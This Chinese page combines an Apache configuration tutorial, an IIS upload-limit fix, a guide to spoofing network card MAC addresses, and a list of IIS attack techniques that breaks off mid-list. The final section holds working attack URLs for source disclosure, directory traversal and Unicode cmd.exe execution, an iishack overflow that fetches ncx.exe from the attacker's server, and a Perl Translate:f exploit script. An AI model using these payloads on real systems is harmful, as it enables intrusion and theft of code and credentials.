linux下的WEB服务器

现在在Internet上最热门的服务之一就是WWW(World Wide Web)服务。如果你想通过主页向世界介绍自己或自己的公司,就必须将主页放在一个WEB服务器上,当然你可以使用一些免费的主页空间来发布。但是如果你有条件,你可以注册一个域名,申请一个IP地址,然后让你的ISP将这个IP地址解析到你的LINUX主机上。然后,在LINUX主机上架设一个WEB服务器。你就可以将主页存放在这个自己的WEB服务器上,通过它把自己的主页向外发布。

4.1 选择和安装WEB服务器软件
目前,在世界各地有许多公司和学术团体,根据不同的计算机系统,开发出不同的服务器,如Apache、CERN、Microsoft Internet Information System、NCSA、WebSite等。它们各有所长。而在许多LINUX的发行版本中,已经集成了一个免费的、使用广泛的、技术成熟的WEB服务器软件Apache。
笔者经过实际的试用,发觉Apache与LINUX的配合还是十分理想的,所以在此笔者就具体地介绍一下Apache在Red Hat Linux 6.0下的配置与实现。
如果我们在安装LINUX的选择启动进程中选中httpd选项。这样Apache就会将自动完成安装,并且能够满足日常的应用需要,我们只需要进行一些更具体的设置工作就行了。

4.2 Apache的组成
在Red Hat Linux 6.0中,Apache将自己的所有配置文件和日志文件放在了“/etc/httpd”目录下,其中“/etc/httpd/conf”下为配置文件,“/etc/httpd/log”下为日志文件。
同时,它将建立“/home/httpd”目录,并在其下建立三个子目录:“html/”:在这个目录下存放HTML(主页)文件;“cgi-bin/”:在这个目录下可以存放一些CGI程序;“icons/”:在这个目录下是服务器自带的一些图标。

4.3 Apache的设置
Apache 服务器软件的配置文件主要有:“access.conf”:用于设置系统中的存取方式和环境;“httpd.conf”:用于设置服务器启动的基本环境; “srm.conf”:主要用于做文件资源上的设定;“mime.type”:记录Apache服务器所能识别的MIME格式。
在具体讲解之前,我们必须告诉大家,LINUX系统已经在安装时就采用了一系列的缺省值,而大家可以根据下面的讲解来理解这些设置的意义,然后根据自己的实际情况做一些细微的调整,以更加适合于你的具体应用。
4.3.1 access.conf的配置
当我们使用“vi”来打开它的时候,我们会发现,就象LINUX一样,内容十分繁多,看得人头晕眼花的。请大家一定要明确,凡是最前面是以“#”号开头的,表示这一行是注释语句,是帮助大家理解文件内容的,而不是配置文件本身。在下面的讲解中,我们也将把这些注释语句略去不说。
该文件的第一段非注释部分如下:

Option Indexes Includes ExecCGI FollowSymLink
AllowOverride None
Order allow , deny
allow from all
大家应该注意到,这一个部分是以开始,以结束的。这表示在其中间的部分都是针对指定目录——“/home/httpd/html”而言的。
1.Option命令有很多的参数,各个参数的意义如下所示:
All:准许以下所有功能(MultiViews除外);
MultiViews:准许内容协商的Multiviews;
Indexes:若该目录下无index文件,则准许显示该目录下的文件以供选择;
IncludesNOEXEC:准许SSI(Server-side Includes),但不可使用#exec和#include功能;
Includes:准许SSI;
FollowSymLinks:准许符号链接到其他目录;
ExecCGI:准许该目录下可以使用CGI。
2.而AllowOverride命令则是用来决定是否准许在“access.conf”文件中设定的权限是否可以被在文件“.htaccess”中设定的权限覆盖。它有两个参数:
All 准许覆盖;None 不准许覆盖。
3.Order命令:用来设定谁能从这个服务器取得控制。它也有两个参数:
allow 可以取得控制;deny 禁止取得控制。
现在我们一起来看看关于目录“/home/httpd/html”的设置的含义:它使得这个目录,如果不存在index.htm文件时,列出目录信息以供选择,准许SSI,允许执行CGI程序,开启了动态连接。它不允许再使用在文件“.htaccess”中设定来覆盖这里所设置的权限。使所有的人都可以取得控制。
该文件的第二段非注释部分如下:

Option ExecCGI
AllowOverride None

这个表示目录“/home/httpd/cgi”的设置为,当前目录下可以执行CGI程序。不允许再使用在文件“.htaccess”中设定来覆盖这里所设置的权限。
需要说明的是,不同的LINUX系统中,可以在这个文件中看到的信息不完全相同,但是根据这里给出的信息,大家可以参照命令的解释自行理解文件中的设置,以及根据自己的需要进行相应的修改。

4.3.2 httpd.conf的配置
这个文件中有许多设定命令,用来设置服务器的运行环境。以下是一些常用的部分:
1. ServerType命令,用来设定服务器的启动方式。它的命令格式如下:
命令格式: ServerType [standalone/inted]
standalone参数表示WEB服务进程以一个单独的守候进程的方式在后台侦听是否有客户端的请求,如果有就生成一个子进程来为其服务。
inetd参数表示WEB服务不是以一个单独的守候进程的形式支持。而是由Inetd这个超级服务器守候进程进行代劳,当它收到一个客户端的WEB服务请求的时候,再启动一个WEB服务进程为其服务。
在此建议使用standalone参数。
2. Port命令,为服务器的服务指定端口号(套接字)。一般来说,WEB服务使用知名端口号——80,如果你设定了别的端口号,别人再使用你的WEB服务时,就必须输入“http://xxx.xxx.xxx:端口号”,这样是不方便的。所以,建议这里设置为Port 80。
命令格式: Port 端口号例:Port 80
3. Server Admin命令,用来设置WEB管理员的E-Mail地址。这个地址会出现在系统连接出错的时候,以便访问者能够将情况及时地告知WEB管理员。
命令格式: Server Admin [you E-Mail address]
例:Server Admin [email protected]
4. BindAddress命令,用来设定要从哪个地址来接受服务。
命令格式: BindAddress [*/IP/FQDN]
例:BindAddress IP 表示只接受输入IP地址的访问者
BindAddress FQDN 表示只接受输入域名地址的访问者
BindAddress * 表示接受以上两种方式的访问者
5. ErrorLog命令,用来指定错误记录文件名称和路径。
命令格式: ErrorLog [log filename]例:ErrorLog /var/httpd/error.log
6. CacheNegotiatedDocs命令,让代理服务器将数据留在缓存中。在很多情况下,默认为不让代理服务器将数据留在缓存中的,所以这条设定命令是被注释掉的。
7. Timeout命令,只要客户端超过这里设定的秒数还没有完成一个请求的话,服务端将终止这次请求服务。如果网络速度较慢的话,建议在此设置较大的数值。以给客户端更多机会。
命令格式: Timeout [second]例:Timeout 120
8. KeepAlive命令,设置是否开启连续请求的功能。
命令格式: KeepAlive [on/off]
9. MinSpareServer命令,用于设置WEB服务进程的最小空闲个数。当WEB服务进程空闲个数小于此设置时,系统将会自动打开更多的服务进程以使得空闲的WEB服务进程的最小空闲个数。
命令格式: MinSpareServer [number]例:MinSpareServer 5
要注意的是,这个数字太大的话,则空闲的进程在浪费系统资源,大大减少了整个系统的资源。如果太小,则有可能造成频繁的连接使得系统应接不瑕。设置的原则是,如果这个服务器是专用的WEB服务器,则将这个值尽量地设大,否则就设置得够用就可以。
10. MaxSpareServer命令,这个命令则是设置WEB服务进程的最大空闲个数。
命令格式: MaxSpareServer [number]例:MaxSpareServer 10
这个命令与前一个相配合,可以使得WEB服务进程在内存中所占资源最合理。
11.StartServers命令,用来设置刚开启WEB服务器时生成几个服务进程。
命令格式: StartServers [number]例:StartServers 5
12.MaxClients命令,用来设置接受客户端请求的最大数目,以使得维护系统稳定性,避免系统负载过大。
命令格式: MaxClients [number]例:MaxClients 150

4.3.3 srm.conf的配置
这个文件主要用来指定主页文档的位置。下面介绍三个最常用的命令。
1. DocumentRoot命令,用来指定主文档的地址。
命令格式: DocumentRoot [Path]例:DocumentRoot /home/httpd/html
2. UserDir命令,用来指定个人主页的位置。如果你有一个用户test,那么它主目录是“/home/test”,当客户端输入 http://yourdomain/~test”,系统就会到对应的目录“/home/test/UserDir/”中去寻找。其中“UserDir”就是在UserDir命令中设置的指定目录。
命令格式: UserDir [Path]例: UserDir Public_html
3. DirectoryIndex命令,用来声明首页文件名称。一般地,我们使用“index.html”或“index.htm”作为首页的文件名。如果这样设置后,那么客户端发出WEB服务请求时,将首先调入的主页是在指定目录下文件“index.html”或“index.htm”。
命令格式: DirecotryIndex [filename]例:DirecotryIndex index.html

4.3.4 使新的配置生效
在上面,我们可能已经根据新的需求更改了相应的配置选项,如果我们要使得这个新的配置立即生效。我们就必须重新启动WEB服务进程。
在LINUX中,我们可以十分方便地使用命令行来使得WEB服务进程重启。
/etc/rc.d/init.d/httpd restart

4.4 为用户开辟个人主页空间
如果我们利用了LINUX系统架设了一台WEB服务器,我们不仅可以存放公司的主页,而且还可以为公司的每一个员工提供一块个人主页的空间。
1. 首先,为需要个人主页空间的员工在LINUX上开设一个帐号。这样,它就拥有了一个用户主目录“/home/用户帐号名”。
addusr 用户帐号名passwd 用户帐号名
2. 在用户主目录下建立一个目录“public_html”,然后为其设置相应的权限。
cd ~用户帐号名mkdir public_htmlchmod 755 public_html
3. 确认在srm.conf文件中的UserDir命令设置的是public_html目录。
4. 让员工将自己的个人主页上传到自己用户主目录下的public_html目录中。
5. 现在就可以使用“http://www.company.com/~用户帐号名”来访问员工的个人主页了。

4.5 用Apache实现虚拟主机服务

4.5.1 什么是虚拟主机服务
所谓的虚拟主机服务就是指将一台机器虚拟成多台WEB服务器。举个例子来说,一家公司想从事提供主机代管服务,它为其它企业提供WEB服务。那么它肯定不是为每一家企业都各准备一台物理上的服务器,而是用一台功能较强大的大型服务器,然后用虚拟主机的形式,提供多个企业的WEB服务,虽然所有的WEB服务就是这台服务器提供的,但是让访问者看起来却是在不同的服务器上获得WEB服务一样。
具体地说,就是,我们可以利用虚拟主机服务将两个不同公司www.company1.com与www.company2.com的主页内容都存放在同一台主机上。而访问者只需输入公司的域名就可以访问到它想得到的主页内容。
用Apache设置虚拟主机服务通常可以采用两种方案:基于IP地址的虚拟主机和基于名字的虚拟主机,下面我们分别介绍一下它们的实现方法。以便大家在具体的应用中能够选择最合适的实现方法。

4.5.2 设置实现基于IP地址的虚拟主机服务
1. 实现前提
这种方式需要在机器上设置IP别名,也就是在一台机器的网卡上绑定多个IP地址去为多个虚拟主机服务。而且要使用这项功能还要确定在你的LINUX内核中必须支持IP别名的设置,否则你还必须重新编译内核。
下面举一个拥有两个虚拟主机的服务设置,以供参考。
2.配置步骤
假设,我们用来实现虚拟主机服务的机器,首先已经为自己提供了WEB服务,现在将为新的一家公司www.company1.com提供虚拟主机服务。
1) 规划IP地址:为虚拟主机申请新的IP地址。(假设本机IP地址为202.101.2.1)
www.company1.com 202.101.2.2
2) 让ISP作好相应的域名解析工作。
3) 为网卡设置IP别名:
/sbin/ifconfig eth0:0 202.101.2.2 netmask 255.255.255.0
4) 重新设置“/etc/httpd/conf/httpd.conf”,在文件中加入:

ServerAdmin [email protected]
DocumentRoot /home/httpd/www.company1.com
ServerName www.company1.com
ErrorLog /var/log/httpd/www.company1.com/error.log

5)建立相应的目录。
mkdir /home/httpd/www.company1.com
mkdir /var/log/httpd/www.company1.com/error.log
6)将相应的主页内容存放在相应的目录中即可。
3.不利因素
这种虚拟主机的实现方法有一个严重的不足,那就是,每增加一个虚拟主机,就必须增加一个IP地址。而由于IP地址空间已经十分紧张,所以通常情况下是无法取得这么多的IP地址的。而且从某种意义上说,这也是一种IP地址浪费。

4.5.3 设置实现基于名字的虚拟主机服务
而基于名字的虚拟主机服务,是比较适合使用的一种方案。因为它不需要更多的IP地址,而且配置简单,无须什么特殊的软硬件支持。现代的浏览器大都支持这种虚拟主机的实现方法。当然,这也就是指一些早期的客户端浏览器也许不支持这种虚拟主机的实现方法。
正是以上原因,我们没有理由不使用基于名字的虚拟主机服务而使用基于IP地址的虚拟主机服务。
配置基于名字的虚拟主机服务需要修改配置文件:
“/etc/httpd/conf/httpd.conf”,在这个配置文件中增加以下内容。
NameVirtualHost 202.101.2.1

ServerAdmin [email protected]
DocumentRoot /home/httpd/www.company1.com
ServerName www.company1.com
ErrorLog /var/log/httpd/www.company1.com/error.log

ServerAdmin [email protected]
DocumentRoot /home/httpd/www.company2.com
ServerName www.company2.com
ErrorLog /var/log/httpd/www.company2.com/error.log

也就是在基于IP地址的配置基础上增加一句:NameVirtualHost 202.101.2.1而已。在本例中,为了体现只需要增加一次,所以特别地设置了两个虚拟主机服务。
最后也是建立相应的目录,将主页内容放到相应的目录中去就可以了。

解除IIS 6.0 大文件上传限制

症状:
上传文件到 Windows 2003 server + IIS 6.0 服务器的时候遇到下列错误:
请求对象错误 ‘ASP 0104 : 80004005’
操作被禁止
/Upload.asp, line 40

原因:
IIS6.0 禁止上传超过 200kB 的文件. 因此你需要修改 IIS 的默认设置.

技术背景
在 IIS 6.0 中, AspMaxRequestEntityAllowed 属性指定了一个 ASP 请求(Request)可以使用的最大字节数. 如果 Content-Length 头信息中包含的请求长度超过了 AspMaxRequestEntityAllowed 的值, IIS 将返回一个 403 错误信息.
这个属性值与 MaxRequestEntityAllowed 相似, 但是是针对 ASP 请求的. 假如你知道自己的 ASP 应用只需要处理很少的请求数据, 你可以在 World Wide Web Publishing Service (WWW 发布服务)层级设定全局的 MaxRequestEntityAllowed 属性为 1MB, 并单独设定 AspMaxRequestEntityAllowed 为一个较小的值.

解决方法
打开位于 C:WindowsSystem32Inetsrv 中的 metabase.XML, 并修改 AspMaxRequestEntityAllowed 为你需要的值(例如 “1073741824”, 1GB).

注意: 在编辑文件前请停止 IIS 服务, 否则无法保存修改后的文件.

也可以那么解决:
到微软站点载了IIS6 Resource Kit Tools(http://www.microsoft.com/downloads/details.aspx?FamilyID=56FC92EE-A71A -4C73-B628-ADE629C89499&displaylang=en),安装后利用Metabase Explorer修改了(local)LMW3SVCAspMaxRequestEntityAllowed属性(默认为200K=204800),修改为1G就是了;同时修改了AspScriptTimeout属性调整下时限,就可以上传大文件了。

轻松修改网卡MAC地址

引:网卡的MAC地址是固化在网上EPROM中的物理地址,是一块网卡的“身份证”,通常为48位。

  在平常的应用中,有很多方面与MAC地址相关,如有些软件是和MAC地址绑定的,没有允许的MAC地址,软件就无法运行;或者在局域网里,管理人员常常将IP与客户机的MAC地址绑定,以方便管理,万一用户的网卡坏掉了,自行更改网卡后必须向管理人员申请更改绑定的MAC地址,这样就比较麻烦。在这种时候,如果我们能够更改一下网卡的MAC地址,那就方便多了。

  实际上,修改网卡的MAC地址是很容易的,我们既可以在操作系统中通过软件来修改网卡的MAC地址,而实际的网卡MAC地址不变,以达到欺骗软件的目的;也可以用工具直接更改网卡的实际MAC地址。

  一、瞒天过海

  1.修改注册表

  几乎所有的网卡驱动程序都可以被NdisReadNetworkAddress参数调用,以便从注册表中读取一个用户指定的MAC地址。当驱动程序确定这个MAC地址是有效的,就会将这个MAC地址编程入其硬件寄存器中,而忽略网卡固有的MAC地址。我们通过手工修改Windows的注册表就可以达到目的。

  在Winodws 98下运行Windows的注册表编辑器,展开“HKEY_LOCAL_MACHINESystemCurrent ControlSetServicesClassNet”,会看到类似“0000”、“0001”、“0002”的子键。从“0000”子键开始点击,依次查找子键下的“DriverDesc”键的内容,直到找到与我们查找的目标完全相同的网卡注册表信息为止。

  当找到正确的网卡后,点击下拉式菜单“编辑/新建/字符串”,串的名称为“Networkaddress”,在新建的 “Networkaddress”串名称上双击鼠标就可以输入数值了。输入你想指定的新的MAC地址值。新的MAC地址应该是一个12位的十六进制数字或字母,其间没有“-”,类似“000000000000”的这样的数值(注意,在Windows 98和Windows 2000/XP中具体键值的位置稍有不同,大家可通过查找功能来寻找)。

  在“NetworkAddress”下继续添加一个名为“ParamDesc”的字串值,它将作为“NetworkAddress”项的描述,数值可以取为“MAC Address”。再把它的内容修改为你想设定的内容。如图所示。

  这样,我们就成功地修改了网卡的MAC地址,重新启动计算机即可。

  2.修改网卡属性

  大部分的网卡都可以通过在控制面板中修改网卡属性来更改其MAC地址,笔者的3COM 3C905B-TX和RTL8139芯片的网卡都可以这样轻松修改。

  在“设备管理器中”,右键点击需要修改MAC地址的网卡图标,并选择“属性/高级”选项卡。在“属性”区,就可以看到一个称作“Network Address”或其他相类似名字的的项目,点击它,在右侧“值”的下方,输入要指定的MAC地址值。要连续输入12个十六进制数字或字母,不要在其间输入“-”。重新启动系统后设置就会生效了。

  二、釜底抽薪

  假如用户使用的是RealTek公司的RTL8139A/B/C/D系列芯片的网卡,有一种更简单的方法修改MAC地址。RealTek公司设计的PG8139软件可以直接修改RTL8139系列网卡的MAC地址,甚至可以让每次启动后网卡的MAC地址都不相同。具体操作如下:

  把pg8139.zip解压缩到一个文件夹下,以8139C芯片为例,用记事本打开该目录下的8139c.cfg文件,修改8139c.cfg 文件的第一行,将“NodeID”(网卡号)后改为所需要的新值,建议初始值为“00 E0 4C 00 00 01”,修改时注意每两位之间至少要留一个空格。

  保存后再进入MS-DOS方式(注意,要在纯DOS模式下),在DOS提示符后输入“pg8139 /pci 8139c.cfg”后再按回车键,此时系统如果提示“Programming EEPROM is successful”则说明更改成功。PG8139程序每成功运行一次,在相应的8139c.cfg文件中,系统会自动将“NodeID”的值加1,也就是说,第一次运行时给当前工作站网卡分配的MAC地址为“00 E0 4C 00 00 01”,第二次运行时,系统会自动分配为“00 E0 4C 00 00 02”,第三次运行时,会自动为“00 E0 4C 00 00 03”……,依此类推,就可以批量地修改网卡的MAC地址,不再需要重复修改8139c.cfg文件了。

  如果用户的网卡是RTL8139其他版本的芯片,只要找到相应的.cfg文件修改就行了。

  另外,还有一种极端的办法,通过烧录网卡的EEPROM来达到克隆MAC地址的目的。但这样做风险很大,而且操作复杂,即使是有经验的用户也难免在操作中出现错误,我们不推荐进行这种操作。

  三、巧借东风

  如果是Windows2000/XP的用户,则可以使用免费MAC地址修改软件SMAC。运行SMAC后,窗口中的列表框列出计算机上正处于工作状态的网卡。选定要修改的网卡后,在列表框下方的六个输入框中输入新的MAC地址后,点击右侧的“Update MAC(修改MAC地址)”,即可完成MAC地址的修改。如图4所示。

  修改MAC地址的工具有很多,但大多数都只适用于Windows 2000/XP,笔者在这里推荐用“超级兔子魔法设置”,因为不但简单易用,而且在Windows 9x系统中使用同样有效。

  修改完成后,就要使设置生效,一般的办法是重新启动系统。还有一种简单的办法不需要重新启动系统,在“设备管理器”中,选定网络适配器图标,点击鼠标右键,选择“禁用”(请注意操作后,状态栏是否已显示为“禁用”)。然后再右键单击选定的网络适配器,在右键菜单中选择“启用”。这样就能使修改后的设置生效。

Win2000修改方法:

1、 在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl

Class{4D36E972-E325-11CE-BFC1-08002BE10318}�000、0001、0002等主键下,查

找DriverDesc内容为你要修改的网卡的描述的,如0000。下面的方法和rifter

《修改MAC地址的范例》中提到的一样,我就照搬了(注解的地方以“^^”标

明)。

2、在其下,添一个字符串,名字为NetworkAddress,值设为你要的MAC地(指在0000主键下)

址,要连续写。如004040404040。

3、然后到其下NDIparams中加一项NetworkAddress的主键,在该主键下添加名为default的字符串,值写要设的MAC地址,要连续写,如004040404040。(实际上这只是设置在后面提到的高级属性中的**初始值**,实际使用的MAC地址还是取决于在第2点中提到的NetworkAddress参数,而且一旦设置后,以后高级属性中值就是NetworkAddress给出的值而非default给出的了。)

4、在NetworkAddress的主键下继续添加名为ParamDesc的字符串,其作用为指定NetworkAddress主键的描述,其值可为“MAC Address”,这样以后打开网络邻居的属性,双击相应网卡项会发现有一个高级设置,其下存在MAC Address 的选项,就是你在注册表中加的新项NetworkAddress,以后只要在此修改MAC地址就可以了。

5、关闭注册表,重新启动,你的网卡地址已改。打开网络邻居的属性,双击相应网卡项会发现有一个MAC Address的高级设置项。用于直接修改MAC地址。

IIS常见攻击漏洞及技巧大全

去年下半年关于IIS的漏洞层出不穷,鉴于目前IIS的广泛使用,觉得有必要把收集的资料加以总结一下。
1.介绍
  这里介绍的方法主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的。如果想方便一些,下载一些WWW、CGI扫描器来辅助检查。
  而且要知道目标机器运行的是何种服务程序,你可以使用以下命令:
telnet 《目标机》 80 GET HEAD / HTTP/1.0
就可以返回一些域名和WEB服务程序版本,如果有些服务器把WEB服务运行在8080,81,8000,8001口,你就TELNET相应的口上。
2.常见漏洞
(1)、Null.htw
  IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码, global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个”hit-highlighting”功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:
CiWebhitsfile
CiRestriction
CiHiliteType
  你可通过下列方法传递变量来获得如default.asp的源代码:
http://www.目标机.com/null.htw?CiWebhitsfile=/default.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。
(2)、MDAC- 执行本地命令漏洞
  这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏洞,就像在今天,还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞:
c:》nc -nw -w 2 《目标机》 80
GET /msadc/msadcs.dll HTTP
  如果你得到下面的信息:
application/x_varg
  就很有可能存在此漏洞且没有打上补丁,你可以使用rain forest puppy网站的两个程序进行测(www.wiretrip.net/rfp)==》mdac.pl和msadc2.pl。
(3)、ASP Dot Bug
  这个漏洞出现得比较早了,是Lopht小组在1997年发现的缺陷,这个漏洞也是泄露ASP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的 URL结尾追加一个或者多个点导致泄露ASP源代码。http://www.目标机.com/sample.asp.
(4)、idc & .ida Bugs
  这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致 IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。
http://www.目标机.com/anything.idc 或者 anything.idq
(5)、+.htr Bug
  这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:
http://www.目标机.com/global.asa+.htr
(6)、NT Site Server Adsamples 漏洞
  通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:
http://www.目标机.com/adsamples/config/site.csc
(7)、IIS HACK
  有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
c:》iishack.exe 《目标机》 80 《你的WEB服务器》/ncx.exe
  然后你就使用netcat来连接你要检测的服务器:
c:》nc 《目标机》 80
  如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
1.Codebrws.asp 和 Showcode.asp默认情况下不安装。
2.漏洞仅允许查看文件内容。
3.这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
4.只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞).
5,攻击者需要知道请求的文件名。
  例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:
http://www.目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/
iisamples/exair/howitworks/codebrws.asp
你就可以查看到codebrws.asp的源代码了。
你也可以使用showcode.asp来查看文件:
http://www.目标机.com/msadc/samples/selector/showcode.asp?
source=/msadc/../../../../../winnt/win.ini
  当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他的机器的安全性比WEB服务器差,如:
http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?
source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log
(8)、webhits.dll & .htw
  这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)其原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给. htw时,他们就可以请求任意文件,结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
http://www.目标机.com/nosuchfile.htw
  如果你从服务器端获得如下信息:
format of the QUERY_STRING is invalid
这就表示你存在这个漏洞。
  这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
  攻击者可以使用如下的方法来访问系统中文件的内容:
http://www.目标机.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
  就会在有此漏洞系统中win.ini文件的内容。
(9)、ASP Alternate Data Streams(::$DATA)
  $DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。
  其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了”安全”好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁,
要查看一些.asp文件的内容,你可以请求如下的URL:
  http://www.目标机.com/default.asp::$DATA 你就得到了源代码。你要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:
http://focus.silversand.net/newsite/skill/ntfs.txt
(10)、ISM.DLL 缓冲截断漏洞
  这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而. htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意,除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作。
http://www.目标机.com/global.asa%20%20(…《=230)global.asa.htr
(11)、存在的一些暴力破解威胁.htr程序
  IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。每个 IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制在 loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:
c:winntsystem32inetsrviisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,请立即删除这个目录。
(12)、Translate:f Bug
  这个漏洞发布于2000年8月15号(www.securityfocus.com/bid/1578),其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,因此在IIS4.0上也有这个漏洞,你可而已使用下面的脚本来利用这个漏洞:
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server=”$ARGV[0]”;
$s=”$server”;
$port=”80″;
$cm=”$ARGV[1]”;
&connect;
sub connect {
if ($#ARGV 《 1) {
howto();
exit;
}
$ver=”GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
nn”;
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server)    die “Error: $!”;
$paddr = sockaddr_in($port, $iaddr)    die “Error: $!”;
$proto = getprotobyname(“tcp“)    die “Error: $!”;
socket(SOCK, PF_INET, SOCK_STREAM, $proto)    die “Error:
$!”;
connect(SOCK, $paddr)    die “Error: $!”;
send(SOCK, $ver, 0)    die “Can“t to send packet: $!”;
open(OUT, “》$server.txt”);
print “Dumping $cm to $server.txt n”;
while(《SOCK》) {
print OUT 《SOCK》;
}
sub howto {
print “type as follows: Trans.pl http://www.目标机.com codetoview.asp nn”;
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}
  你可以使用下面的方法来获得源代码:
Trasn.pl http://www.目标机.com default.asp
(13)、IIS存在的Unicode解析错误漏洞
  NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含 unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。
  你可以使用下面的方法利用这个漏洞:
(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容:
http://www.目标机.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
(2) 利用这个漏洞查看系统文件内容也是可能的:
